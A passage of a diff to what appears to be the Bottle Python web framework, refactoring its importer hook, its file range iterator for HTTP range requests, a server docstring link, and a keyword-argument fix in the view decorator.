+        if fullname.rsplit('.', 1)[0] != self.name: return
+        from importlib.util import spec_from_loader
+        return spec_from_loader(fullname, self)
+
     def find_module(self, fullname, path=None):
         if '.' not in fullname: return
-        packname = fullname.rsplit('.', 1)[0]
-        if packname != self.name: return
+        if fullname.rsplit('.', 1)[0] != self.name: return
         return self
 
     def load_module(self, fullname):
@@ -2825,18 +2815,15 @@ def redirect(url, code=None):
     raise res
 
 
-def _file_iter_range(fp, offset, bytes, maxread=1024 * 1024, close=False):
-    """ Yield chunks from a range in a file, optionally closing it at the end.
-        No chunk is bigger than maxread. """
+def _rangeiter(fp, offset, limit, bufsize=1024 * 1024):
+    """ Yield chunks from a range in a file. """
     fp.seek(offset)
-    while bytes > 0:
-        part = fp.read(min(bytes, maxread))
+    while limit > 0:
+        part = fp.read(min(limit, bufsize))
         if not part:
             break
-        bytes -= len(part)
+        limit -= len(part)
         yield part
-    if close:
-        fp.close()
 
 
 def static_file(filename, root,
@@ -2940,9 +2927,10 @@ def static_file(filename, root,
         if not ranges:
             return HTTPError(416, "Requested Range Not Satisfiable")
         offset, end = ranges[0]
+        rlen = end - offset
         headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen)
-        headers["Content-Length"] = str(end - offset)
-        if body: body = _file_iter_range(body, offset, end - offset, close=True)
+        headers["Content-Length"] = str(rlen)
+        if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close)
         return HTTPResponse(body, status=206, **headers)
     return HTTPResponse(body, **headers)
 
@@ -3359,7 +3347,7 @@ class MeinheldServer(ServerAdapter):
 
 
 class FapwsServer(ServerAdapter):
-    """ Extremely fast webserver using libev. See http://www.fapws.org/ """
+    """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """
 
     def run(self, handler):  # pragma: no cover
         depr(0, 13, "fapws3 is not maintained and support will be dropped.")
@@ -4276,7 +4264,7 @@ def view(tpl_name, **defaults):
                 tplvars.update(result)
                 return template(tpl_name, **tplvars)
             elif result is None:
-                return template(tpl_name, defaults)
+                return template(tpl_name, **defaults)
             return result
 
         return wrapper